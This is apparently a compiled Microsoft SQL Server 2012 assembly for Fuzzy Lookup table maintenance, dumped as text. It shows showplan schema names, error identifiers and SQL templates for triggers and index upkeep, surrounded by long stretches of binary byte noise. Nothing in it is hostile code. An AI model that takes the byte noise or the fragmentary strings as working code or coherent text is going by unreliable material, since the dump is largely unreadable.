EU1Concatenation0DEU1Constant Scan0DEU/Deleted Scan0DEU#Filter0DEU%Generic0DEU+Hash Match0DEU/Index Delete0DEU/Index Insert0DEU+Index Scan0DEU+Index Seek0DEU-Index Spool0DEU/Index Update0DEU1Inserted Scan0DEU/Log Row Scan0DEU3Merge Interval0DEU+Merge Join0DEU/Nested Loops0DEU=Online Index Insert0DEU-Parallelism0D EU?Parameter Table Scan0D!EU!Print0D"EU1Remote Delete0D#EU9Remote Index Scan0D$EU9Remote Index Seek0D%EU1Remote Insert0D&EU/Remote Query0D'EU-Remote Scan0D(EU1Remote Update0D)EU+RID Lookup0D*EU5Row Count Spool0D+EU%Segment0D,EU'Sequence0D-EU7Sequence Project0D.EUSort0D/EU!Split0D0EU7Stream Aggregate0D1EU#Switch0D2EUATable-valued function0D3EU/Table Delete0D4EU/Table Insert0D5EU+Table Scan0D6EU-Table Spool0D7EU/Table Update0D8EU-Table Merge0D9EUTop0D:EUUDX0D;EU/Window Spool0HEU#EQ ALL0HEU#EQ ANY0HEU#EXISTS0HEU#GE ALL0HEU#GE ANY0HEU#GT ALL0HEU#GT ANY0HEUIN0H	EU#LE ALL0H
EU#LE ANY0HEU#LT ALL0HEU#LT ANY!!!!!!!!!!!!!!!!!!!!!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Type01L'Filtered0`8L!Table09{L%Batches0UL!%integer0kM'Distinct0M!token0X'N7ActualReadAheads0tZN#string060O3PartitionCount0x{Q)Operation0#;GT/WarningsType0THT?ParameterizationType0Vjhttp://schemas.microsoft.com/sqlserver/2004/07/showplan0jW1IntrinsicType0GWdmicrosoft.sqlserver.dmfsqlclrwrapper, version=0.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil0UX)RelOpType0xX3ArithmeticType0C}YR)sqlDbType0CSZ'dateTime0j&\'Sequence0<]'ColumnId0vІ])CompareOp0]#Length0CS^H'datetime0l]^#Server0sx^!Usage08^#Output0Q^3PartitionRange0_A7timestampNumeric0V_W=sqlCollationVersion0Sb5AsqlCompareOptionsEnum0c6AsqlCompareOptionsList0.f5ActualElapsedms0ĜMf5ReservedThreads0gip+StmtSimple0m!float0|niasm_tranrepl, version=11.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil03n/MissingIndex0bFo1CompareOpType0@p=MemoryFractionsType0^q9rk-ShowPlanXML0uemicrosoft.sqlserver.dmfsqlclrwrapper, version=11.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil0u7ActualEndOfScans0yB$v3MultAssignType0px+Identifier0x/base64Binary0[z%AggType0p9{!gYear09}%Logical0a~'language0dQ%9StartupExpression0Kwc*+BitmapType0]M/1ComputeScalar0@N09ComputeScalarType0:G15ComputeSequence0aE1HashKeysBuild0*AF1HashKeysProbe0ٔwP;SeekPredicatesType06TIQ1SeekPredicate0&mnR9SeekPredicateType0ro_-PartitionId0#Ta=IndexedViewInfoType0rLc%Ordered0ud1ScanDirection0J{ee)OrderType0kof-ForcedIndex0|>x-NestedLoops0_Yy5NestedLoopsType0L%OrderBy0vH;ParameterTableScan0&\m1PrintDataflow0Wb5RemoteFetchType0E?+RemoteType0e5RemoteQueryType0aO?+RemoteScan0q>!Stack0Z8}%Segment09J'SortType04>!Split0>!Spool0f+RollupInfo0w3=}#Switch0RM}+SwitchType0i\=TableValuedFunction0X='RowCount0[4e)IsPercent0:ýF5EstimateRebinds0gLCEstimatedExecutionMode0p)LogicalOp0ro-Partitioned0T+PhysicalOp0o3PhysicalOpType0~l-CLRFunction0y;]'Assembly0y=!Class05^#Method0l-UDAggObject0A.j%UDFType0nЉH1IsClrFunction0*1J'WaitType05J'WaitTime0G@?SerialRequiredMemory0pgZ%UsePlan0$H'StmtCond09
6@3StmtCursorType0R\$9CursorConcurrency0$SQ&-StmtReceive09uGz+1StmtUseDbType!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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P4pT8tX< x\@$|`D(




d
H
,

hL0lP4




p
T
8


				t	X	<	 		x\@$|`D(dH,hL0lP4pT8tX< x\@$|`}
`-
>0R(1BitmapCreator0!ADefinedValuesListType0|s+OutputList0n|5StatementCompId0cǾfmicrosoft.sqlserver.mpusqlclrwrapper, version=0.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil0K)IndexKind0|(=TemplatePlanGuideDB0y/SegmentReads0!Ó9ThreadReservation0?ScalarExpressionList0rO-5positiveInteger0
?ScalarExpressionType0g
-ActualScans0Ȋ)QueryHash0g1ActualRebinds0C]+ScalarType0M4qɘ-UsedThreads00x+ARITHABORT0yˍ)QueryPlan0C$)Predicate0,'Collapse0si̙3MissingIndexes0z}D'smallint0rC'Implicit0)Precision0-ActualCPUms0⪸ϩ;GuessedSelectivity0Tt3SetOptionsType0/SegmentSkips0=ActualPhysicalReads0u')Intrinsic0Fa-hierarchyid0^K~ܞ7MissingIndexType0MB%numeric0E)Condition0+1unsignedShort0X5ConditionalType0J!money0T#gMonth0sި#Impact0v%Compare0qm3LastActiveTime0?5z;NUMERIC_ROUNDABORT01http://schemas.microsoft.com/sqlserver/2004/sqltypes0˵'OpenTime0uh#ENTITY0o=)varbinary02U;ActualLogicalReads0/SubqueryType00z8!nchar0'Branches0b7Parameterization0e4'Warnings0⯶gmicrosoft.sqlserver.mpusqlclrwrapper, version=11.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil0r|<!ntext0Z)precision0
v%Convert0Gj5#anyURI0:;E%tinyint05 ";nonPositiveInteger0jLMRunTimePartitionSummaryType0o)hexBinary0h]5FirstActiveTime0Y 1DefinedValues0jaEColumnReferenceListType0dP{9QUOTED_IDENTIFIER0Q0'NMTOKENS0^zAMissingIndexGroupType0CB=ActualLobReadAheads0f#NodeId0iD-PlanGuideDB0\yo1StmtBlockType057ConstantScanType0-8-CreateIndex0w95CreateIndexType0ͫA%Generic0٢UB-GenericType0]G1BuildResidual06H1ProbeResidual0cM)IndexScan0WO3SeekPredicates0k9W'ScanType0ixX+StartRange0]?SeekPredicateNewType0U`5IndexedViewInfo0᳼o!Merge0&Oq?InnerSideJoinColumns0v1MergeInterval0^}=WithOrderedPrefetch0#
-OnlineIndex0‘/RemoteObject09̔/SetPredicate0f-RemoteQuery0zt-RemoteRange0Ԛ1RowCountSpool0K/SimpleUpdate0Zŧ7SimpleUpdateType0x?5RollupLevelType0貽̴!Level0k]1ParameterList0x7OffsetExpression0@1TopExpression09-TopSortType0ESetPredicateElementType0]-WindowSpool0p+EstimateIO00H1GroupExecuted031LogicalOpType0E%IEstimatedTotalSubtreeCost0xğ7TableCardinality0b_5CLRFunctionType0X?UserDefinedAggregate0wCParameterCompiledValue0*lWMAffectingConvertWarningType0J/ConvertIssue0㼛+Expression0|þ+StoredProc0%/StmtCondType0+CursorPlan0= +CursorName0J!7CursorActualType0;{"+CursorType0#=CursorRequestedType0X %-ForwardOnly0NI0asm_tablemaintenance, version=11.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lM.



t
U
6

|]>eF'



m
N
/

				u	V	7		}^? fG(	nO0{\=dEvW8~_@!gH)
oP1wX9`3!,{P0H
EU#NE ALL0HEU#NE ANY0tEU/Memory Grant0zEU?Cardinality Estimate0zEU)Seek Plan0EU+FetchQuery0EU1PopulateQuery0EU/RefreshQuery0EU%Dynamic0EU-FastForward0EU#Keyset0EU'SnapShot0EU)Read Only0EU-Pessimistic0EU+Optimistic0EU9ReceivePlanSelect0EU9ReceivePlanUpdate0EU%Primary0EU)Secondary0EUBoth0EU#Either0EU+ExactMatch0EU!Local!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!`<(
b,2Vv;@EJOTY^chmrw| $(,048<@DHLPTX\`dhlptx
|!&+05:?DINvSUWY[]_acxz|~e g$i(k,m0o4q8s<u@wDyH{L}PTX\`dhlptx|SSSSSSSTX\$`;dRhilptx|CC-6?DIN 9b' ,dhlDNS?	\	a		N		f		k		p		u		z																	?							 	$		(	,		0	4		<	@		D		H	Xv\S`UdWlv
p
t
x
|Ur?D?DDX\`?dDhlItx|?U
f
k
p
y

<[<\U
		.&.3{.;..[.+a.c>.C.K.S.[8.{[..s.k.	.[Cc{ k@"k`"k("@)"*"GEH%GPZei}6X`nz)DS^Lksy")/AJRu27	D_pi(O
=>?ADHJMV]knprx y&z,|/01234789:;<=>BF    !!!!0!S!^!u!!!!!!"-"="N"g"{"""""""	# #5#O#j#}#######$$)$F$c$~$$$$$$$%%%C%Q%&B&B'v&BI(T(]((T(I((I(T(I(T(.)](y*****I(*T(....*..k3y33~3333B3B33344'444B&_5d5B5Id5B](BZe6Bj6x666
	!:B&:*===](=4&3B4&3BB>BB"?B(?B,?B(?4B3B743B4B(?&@.@B@ed5e.AA$A~73B3B7AA7SB3B75
5
RC`CBF		
 !!"##%$'%)&+'-(/)1*3+5,7-9.;/=0?1A2C3E4G5I6K7M8O9Q:S;U<W=Y>[?]@_AaBcCeDgEiFkGmHoIqJsKuLwMya{i}rst|}~! "#%&'(:;<=`ajkmlonpqrstuvx	w	}|
~
!!##%%''))++--//1133557799;;==??AACCEEGGIIKKMMOOQQSUUWQHT1i~}ZE_QEgQC
CL" ! $#%#)(*(+(CBDBHG)<Module>asm_tablemaintenance.dllSqlAssemblyNameMicrosoft.SqlServer.Dts.TxBestMatchSqlAssemblyDeploymentOptionsSqlAssemblyFileDeploymentSqlProcDeploymentExternalParametersSqlServerSeverityDataCleaningExceptionFltmErrorMsgIdFltmErrorStateLocalizedStringsUtilitiesISqlRecordLightMicrosoft.SqlServer.Dts.TxBestMatch.DDLDbTypeConverterSqlRecordLightDisconnectedSqlRecordLightSqlServerObjectSqlServerAssemblyStoredProcedureTableIndexExtendedPropertyErrorTolerantIndexEtiCacheEtiMetaDataEtiKeyEtiRecordRidListComponentParametersRefColumnCountCollectionByTokenTypeCountCollectionCountTypeINormalizerMicrosoft.SqlServer.Dts.TxBestMatch.TokensNormalizerBaseNlsFlagsNativeReturnCodeNormalizerTraceFileTableMaintenanceDataCleaningOperationExceptionTypeDataCleaningTableMaintenanceDispatchTableMaintenanceTriggerTokenTypeJoinTypeITokenTokenIFieldTokenTRidITupleTokenITokenizerISubTupleTokenizerITupleTokenizerEtiTokenNormalizedTokenTupleTokenizerFullFieldTokenizerSplitOnDelimitersTwoPassTokenizerQgramTokenizerMinHashQgramTokenizerMinHashQgramBridgeTokenizerMinHashQgramBridgeTupleTokenizerTokenHashComparerSqlNameParseQuoteStateEscapeActionPerfCountersAssemblyVersionInfomscorlibSystemAttributeObjectEnumExceptionMulticastDelegateValueTypeIComparableSystem.CollectionsIComparer.ctornamesqlsingleDropcascadeDropSQL_SYSCOLUMNS_XTYPE_intEGERSQL_SYSCOLUMNS_XTYPE_BIGintSQL_SYSCOLUMNS_XTYPE_SMALLintSQL_SYSCOLUMNS_XTYPE_TINYintSQL_SYSCOLUMNS_XTYPE_DECIMALSQL_SYSCOLUMNS_XTYPE_NUMERICMAX_NVARCHAR_CHARACTERSMAX_VARCHAR_CHARACTERSMAX_DTS_PROPERTY_CHARACTERSSTRUCTURED_CHUNK_INDEX_SIZESTRUCTURED_CHUNK_SIZEMAX_QUERY_LENMAX_SQL_INDEX_KEY_COLUMNSMAX_SQL_INDEX_NONKEY_COLUMNSMAX_NVARCHAR_SIZE_EXTENDED_PROPERTY_VALUEvalue__S00_NotVisibleInServerS10_NonSevereOrInformationalS11_EX_MISSINGS12_EX_TYPES13_EX_DEADLOCKS14_EX_PERMITS15_EX_SYNTAXS16_EX_USERS17_EX_RESOURCES18_EX_INTOKS19_EX_LIMITS20_EX_CMDFATALS21_EX_DBFATALS22_EX_TABCORRUPTS23_EX_DBCORRUPTS24_EX_HARDWARES25_EX_CONTROLSystem.DataSystem.Data.SqlClientSqlExceptionget_MsgSubsset_MsgSubsm_MsgSubsget_MsgIdset_MsgIdm_MsgIdget_Stateset_Statem_Stateget_Severityset_Severitym_SeverityMsgSubsMsgIdStateSeverityDTS1UndefinedDTS1_FLTM_BadCommandObjectDTS1_FLTM_BadTokenDTS1_FLTM_BadTokenTypeDTS1_FLTM_EtiCorruptDTS1_FLTM_EtiDeleteExcessiveDTS1_FLTM_EtiDeleteFromEmptyRidlistDTS1_FLTM_EtiDeleteMissingRidDTS1_FLTM_EtiFrequenciesPositiveDTS1_FLTM_EtiInsertExistingRidDTS1_FLTM_EtiNoRidlistToAppendDTS1_FLTM_EtiTokenDeleteFailedDTS1_FLTM_EtiTokenizerDelimitersMissingDTS1_FLTM_EtiTokenNotPresentDTS1_FLTM_EtiUnexpectedRidListLengthDTS1_FLTM_EtiUnreachableDTS1_FLTM_FailedToDropRefCopyIndexDTS1_FLTM_FailedToGetEtiMetaDataDTS1_FLTM_FailedToInitializeFromEtiMetaDataDTS1_FLTM_FltmSpecificErrorOccurredDTS1_FLTM_FltmSystemErrorOccurredDTS1_FLTM_IndexNegativeDTS1_FLTM_InvalidHexStringDTS1_FLTM_MetaDat!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
,v;aHasNegativeCountDTS1_FLTM_MetaDataHasUnsupportNormFlagDTS1_FLTM_MetaDataInvalidDTS1_FLTM_MetaDataInvalidVersionDTS1_FLTM_MetaDataMissingInfoDTS1_FLTM_MetaDataTokenCountsCorruptDTS1_FLTM_MetaDataTooLongDTS1_FLTM_MetaDataTooLongSuggestionDTS1_FLTM_MetaDataTooShortDTS1_FLTM_NoEtiTableNameDTS1_FLTM_NoInputToDecodeDTS1_FLTM_NoInputToEncodeDTS1_FLTM_NoMetaDataProvidedForInitializationDTS1_FLTM_NoMetaDataProvidedForSerializationDTS1_FLTM_NoObjectNameProvidedDTS1_FLTM_ObjectIdLookupFailedDTS1_FLTM_OpenConnectionRequiredDTS1_FLTM_OutputBufferNullDTS1_FLTM_OutputBufferTooSmallDTS1_FLTM_QgramsPerTokenNegativeDTS1_FLTM_RefCopyIndexCreationFailedDTS1_FLTM_RefMissingIntegerIdentityDTS1_FLTM_RidOverflowDTS1_FLTM_RidUnreadableDTS1_FLTM_TableMaintenanceInsertFailedDTS1_FLTM_TokenizerRequiresPositiveQgramDTS1_FLTM_TriggerAlreadyInstalledDTS1_FLTM_TriggerMissingExtendedPropertyDTS1_FLTM_TriggerNameMismatchDTS1_FLTM_FltmSqlErrorOccurredDTS1_FLTM_ObjectIdLookupFailedNoObjectFoundDTS1_FLTM_EtiTableNameInvalidSqlIdentifierDTS1_FLTM_EtiTableNotPresentDTS1_FLTM_AuxiliaryFltmTableMissingDTS1_FLTM_AuxiliaryFltmTableNameNotProvidedDTS1_FLTM_EtiDeleteMissingRidInRefCopyDTS1_FLTM_NotInstalledOrEtiCorruptGeneric_Unexpected_S1GetObjectIdByName_NullArgumentName_S2GetObjectIdByName_NullCommandObject_S3GetObjectIdByName_ObjectNotFound_S4Hex2Bin_NullInput_S5Hex2Bin_HexStringLengthIncorrect_S6Hex2Bin_HexStringIncorrect_S7Bin2Hex_NullInput_S8ExtendedProperty_Get_NullPropertyValue_S9ErrorTolerantIndex_Constructor_NullEtiTableName_S10ErrorTolerantIndex_Constructor_LengthZeroEtiTableName_S11ErrorTolerantIndex_RidColumnName_Null_S12InitializeFromString_IncorrectMetaDataVersion_S13SetMetaDataString_NullInput_S14GetMetaDataString_SelectFailed_S15GetMetaDataString_MetaDataAbsent_S16InitializeMetaData_Failed_S17ETI_NullCmdObject_S18ETI_ConnectionNotOpen_S19ETI_RefTableDelete_NullRidList_S20ETI_CacheRefTableColumn_NoRowsToRead_S21ETI_RefTableInsert_NullRidList_S22ETI_RefTableInsert_SelectReturnedNull_S23ETI_RefTableInsert_SetTpfBitAccidentally_S24InitializeFromString_TokenCountsCorrupt_S25ETI_RefTableInsert_SetTpfBitAccidentally_S26InitializeFromString_NullMetaDataProvided_S27InitializeFromString_MetaDataTooLong_S28InitializeFromString_TokenCountsCorrupt_S29GetLine_NoLineWhereLineExpected_S30GetLine_EmptyLine_S31GetCountFromString_MetaDataHasNegativeCount_S32GetFlagsFromString_MetaDataHasUnsupportNormFlag_S33ReadKeyValuePair_NullStringReader_S34ReadKeyValuePair_NullLineRead_S35ReadKeyValuePair_TriggerNameMayBeEmptyInMetaData_S36ReadKeyValuePair_KeyMismatch_S37ToString_KeyMismatch_S38ETI_Append_NullRidList_S39ETI_Frequency_Negative_S40ETI_Insert_RidListLengthInvalid_S41ETI_Insert_ExistingRid_S42ETI_Delete_EtiDeleteFromEmptyRidlist_S43ETI_Delete_EtiUnexpectedRidListLength_S44ETI_Delete_EtiDeleteMissingRid_S45ETI_Delete_EtiDeleteExcessive_S46Install_IndexDoesNotExistAfterInstall_S47Uninstall_IndexExistsAfterDrop_S48IsValidDataTable_NullCmdArg_S50IsValidDataTable_MissingTable_S0IsValidDataTable_MissingTableName_S0TableMaintenanceTrigger_NullCmdArg_S51TableMaintenanceTrigger_Install_AlreadyThere_S52TableMaintenanceTrigger_Install_AlreadyThere_S53TableMaintenanceTrigger_Install_AlreadyThere_S54DeleteColumnList_NullList_S55InsertColumnList_NullList_S56TRid_NullSqlRecord_S57TRid_NullRidColumnName_S58TRid_EmptyRidColumnName_S59TRid_NullRidInTable_S60TRid_WriteTo_S61TRid_WriteTo_S62TRid_WriteTo_S63SplitOnDelimiters_S64QgramTokenizer_q_S65Tokenize_S66MinHash_H_S67ComputeBridgeToken_S68ComputeBridgeToken_S69ComputeBridgeToken_S70ETI_RefTableDelete_TokenNotPresent_S71Uninstall_CannotInitializeTrigger_S72LockTablesFuzzyLookup_CannotInitializeTrigger_S0EtiTableNameInvalidSqlIdentifier_S0Invoke_CannotInitializeTrigger_S0EtiTableNotPresent_S0RefTableDelete_EtiDeleteMissingRidInRefCopy_S0System.ResourcesResourceManagerrmget_UnspecifiedErrorget_ObjectIdLookupFailedget_NoObjectNameProvidedget_NoInputToDecodeget_InvalidHexStringget_NoInputToEncodeget_NoEtiTableNameget_NoMetaDataProvidedForSerializationget_EtiCorruptget_FailedToGetEtiMetaDataget_FailedToInitializeFromEtiMetaDataget_NoMetaDataProvidedForInitializationget_MetaDataTooLongget_MetaDataInvalidVersionget_MetaDataVersionProvidedget_MetaDataVersionExpectedget_MetaDataTokenCountsCorruptget_MetaDataInvalidget_MetaDataTooShortget_MetaDataHasNegativeCountget_MetaDataMissingInfoget_MetaDataTooLongSuggestionget_EtiUnreachableget_BadCommandObjectget_OpenConnectionRequiredget_EtiTokenDeleteFailedget_EtiTokenNotPresentget_EtiNoRidlistToAppendget_EtiFrequenciesPositiveget_EtiInsertExistingRidget_EtiDeleteFromEmptyRidlistget_EtiUnexpectedRidListLengthget_EtiDeleteExcessiveget_TriggerAlreadyInstalledget_TriggerNameMismatchget_TriggerMissingExtendedPropertyget_OutputBufferNullget_IndexNegativeget_OutputBufferTooSmallget_QgramsPerTokenNegativeget_BadTokenget_BadTokenTypeget_MetaDataHasUnsupportNormFlagget_TableMaintenanceInsertFailedget_RefCopyIndexCreationFailedget_FailedToDropRefCopyIndexget_FltmSpecificErrorOccurredget_FltmErrorMessageget_FltmSystemErrorOccurredget_FltmErrorDetailsget_RidOverflowget_RefMissingIntegerIdentityget_EtiDeleteMissingRidget_EtiTokenizerDelimitersMissingget_RidUnreadableget_TokenizerRequiresPositiveQgramUnspecifiedErrorObjectIdLookupFailedNoObjectNameProvidedNoInputToDecodeInvalidHexStringNoInputToEncodeNoEtiTableNameNoMetaDataProvidedForSerializationEtiCorruptFailedToGetEtiMetaDataFailedToInitializeFromEtiMetaDataNoMetaDataProvidedForInitializationMetaDataTooLongMetaDataInvalidVersionMetaDataVersionProvidedMetaDataVersionExpectedMetaDataTokenCountsCorruptMetaDataInvalidMetaDataTooShortMetaDataHasNegativeCountMetaDataMissingInfoMetaDataTooLongSuggestionEtiUnreachableBadCommandObjectOpenConnectionRequiredEtiTokenDeleteFailedEtiTokenNotPresentEtiNoRidlistToAppendEtiFrequenciesPositiveEtiInsertExistingRidEtiDeleteFromEmptyRidlistEtiUnexpectedRidListLengthEtiDeleteExcessiveTriggerAlreadyInstalledTriggerNameMismatchTriggerMissingExtendedPropertyOutputBufferNullIndexNegativeOutputBufferTooSmallQgramsPerTokenNegativeBadTokenBadTokenTypeMetaDataHasUnsupportNormFlagTableMaintenanceInsertFailedRefCopyIndexCreationFailedFailedToDropRefCopyIndexFltmSpecificErrorOccurredFltmErrorMessageFltmSystemErrorOccurredFltmErrorDetailsRidOverflowRefMissingIntegerIdentityEtiDeleteMissingRidEtiTokenizerDelimitersMissingRidUnreadableTokenizerRequiresPositiveQgramNibblesPerCharBitsPerByteBytesPerIntBytesPerCharCharsPerIntBitsPerChar.cctorIEnumerableSqlNamesToCsvGetSqlNamePostfixCharsToIntStringToIntIntToCharsIntToStringUnitTestIntToCharsUnitTestExhaustiveIntToCharsSqlCommandGetObjectIdByNameHex2BinBin2HexGetStringTypeGetFieldTypeSystem.Data.SqlTypesSqlInt32GetSqlInt32get_FieldCountGetNameGetOrdinalGetValueGetValuesFieldCountSystem.GlobalizationCultureInfom_CultureInfoSystem.ComponentModelDateTimeConverterm_DateTimeConverterConvertToStringSqlDataReaderm_DataByOrdinalm_FieldTypesByOrdinalDbTypem_DataTypesByOrdinalm_NameByOrdinalHashtablem_htget_srset_srm_srsrget_CreateTextget_DropTextget_Nameset_Namem_NameCreateDropExecuteCreateTextDropTextNameget_Fileset_Filem_FileArrayListget_StoredProceduresset_StoredProceduresm_StoredProceduresFileStoredProceduresget_TableHintset_TableHintm_TableHintCreateFromIsIdentityColumnGetColumnTypeNameTableHintIndexNamePrefixget_BaseObjectNameset_BaseObjectNamem_BaseObjectNameget_IsClusteredset_IsClusteredm_IsClusteredget_IndexColumnListset_IndexColumnListm_IndexColumnListget_IncludedColumnListset_IncludedColumnListm_IncludedColumnListget_cmdset_cmdm_cmdget_ExistsSetColumnPropertiesFromPrioritizedColumnListsBaseObjectNameIsClusteredIndexColumnListIncludedColumnListcmdExistsPropertyNameVarPropertyValueVartypeL0VarnameL0VartypeL1VarnameL1VartypeL2Varnam!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
,+v;0} r 
where 	@var# (r.{0} is null)  (r.{0} = {1})  and # order by {0} ascGdelete from {0} where {1}=@RidValue@RidValueselect {0} 'where {0}=@RidValue!insert into {0} values ( , var	null@{0} @)  Qselect CAST(IDENT_CURRENT('{0}') as int)Version1.0.9DelimitersRefTableName)PreparedRefTableName%CopiedRefTableNameTriggerNameRefRowCntMaxTokenLength+MaxStoredKeysPerToken%IndexedColumnCount-^(\w):(\d),(\d),(\d+)$JT	LCIDSNF={0}={1}
	{0}
!{0}:{1},{2},{3}
mselect CAST([{0}] AS VARBINARY(8000)), [{1}] from {2} ' where [{0}] = {1} @TokenText!and [{0}] = {1} @FieldIndex# and [{0}] = {1} @TokenType! order by [{0}] BucketNumber!delete from {0} %where [{0}] = {1} K ([{0}], [{1}], [{2}], [{3}], [{4}])  values q (@{0}, @{1}, @{2}, @{3}, CAST(@{4} as NVARCHAR(4000))) 
@Token@Freq@ColumnNumber@TokenProp@RidsND3context connection = true#set xact_abort on@msg_id@severity
@state1raiserror({0}, {1}, {2})@msg_strYFuzzyLookupTableMaintenanceRefTableCopyIndexqselect top 1 * from {0} with ({1}) option (expand views)5TABLOCK, HOLDLOCK, UPDLOCK#TABLOCK, HOLDLOCK'select {0} from {1}%truncate table {0}!drop trigger {0}7 with (HOLDLOCK, TABLOCKX) EtiTableNameDeleteTableNameInsertTableNameselect name from sys.triggers where parent_id=@ParentID and parent_class_desc='OBJECT_OR_COLUMN' and type='TR' and type_desc='SQL_TRIGGER' @ParentIDdbo
SCHEMATABLETRIGGER7tg_DataCleaningMaintenance_PendingDelete_PendingInsert_'create trigger {0} 
Ifor insert, update, delete as begin #SET XACT_ABORT ONSET NOCOUNT ON+insert into {0} ({1})7  select {0} from inserted 5  select {0} from deleted exec {0} '{1}' Qsys.sp_FuzzyLookupTableMaintenanceInvokeend.-ms-help://MS.SQLCC.v11_Q:w|ILz\V4   840jl@d8 

    % $( $( $(   $ $$ ( ((  (($(((yizi{i|i}i~iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii	 !"#$%&'()*+,-./023456789:;<=>?@ABCDEFGH)-  1  5 9     (=A 5 E5IM EE(E    1 1(( Q QQ(Q
 11 1 1  11 -((1
@name@value@level0type@level0name@level1type@level1name@level2type@level2name
	11
TokenColumnNumberTokenPropBucketNumberFreqRids   d dd1   4 4 4 4 	 4`((d(	Uhl l l
1.0.9VersionDelimitersRefTableName(PreparedRefTableName$CopiedRefTableNameTriggerNameRefRowCntMaxTokenLength*MaxStoredKeysPerToken$IndexedColumnCountLCIDJTSNF Y  Y x xx  	 		  (x(	(   (@TokenText@FieldIndex@TokenTypep 1 1
 1p p p(p  E    (@XFuzzyLookupTableMaintenanceRefTableCopyIndex   | ||((| 	 (  (		   @  zW 1$(]1$(
1(11\	1\	1\
1\1 	 a1e aPsys.sp_FuzzyLookupTableMaintenanceInvokeEtiTableNameInsertTableNameDeleteTableName6tg_DataCleaningMaintenance_PendingInsert_PendingDelete_ 1\ 
   \ \\(\c  ?  E	 	 (   (
  4
 
 
(
    ((       
 	 Q	 Q((    	   

i 
11.0.0.011.0(Microsoft SQL Server{0xbd7f7c0d, 0x7c36, 0x4721, {0xaf, 0xa8, 0xb, 0xa7, 0x0, 0xe2, 0x6d, 0x9e}}SQL Server 20122Microsoft SQL Server 2012110
